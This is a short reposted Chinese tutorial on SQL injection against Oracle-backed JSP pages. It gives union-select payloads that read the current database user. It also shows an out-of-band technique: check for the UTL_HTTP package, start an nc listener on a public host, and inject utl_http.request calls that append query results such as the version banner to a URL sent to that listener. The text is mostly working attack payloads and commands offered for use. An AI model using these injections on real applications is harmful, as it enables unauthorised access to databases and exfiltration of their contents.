xxx.jsp?id=1and 1=2 union select null,(select sys_context('userenv','current_user') fromdual),null from dual

//擷取目前連接配接使用者

注入方法2

nc配合utl_http存儲過程

xx.jsp?id=1and exists(select count(*) from all_objects where object_name='UTL_HTTP')

//判斷utl_http存儲過程是否可用

傳回頁面正常說明存在utl_http存儲過程

先用在一個公網ip的機子上面用nc監聽一個端口

nc -vv -l-p 9999

然後送出

xxx.jsp?id=1and utl_http.request('http://ip:端口/'||(查詢語句))=1

比如查詢oracle版本,送出

http://localhost:8000/oa/oa.jsp?id=4and UTL_HTTP.request('http://127.0.0.1:9999/'||(select banner fromsys.v_$version where rownum=1))=1--

此處是本地示範是以是本地ip 127.0.0.1

結合上面的語句就可以擷取到資料庫資訊

轉載于:https://www.cnblogs.com/amwld/archive/2011/06/07/2073977.html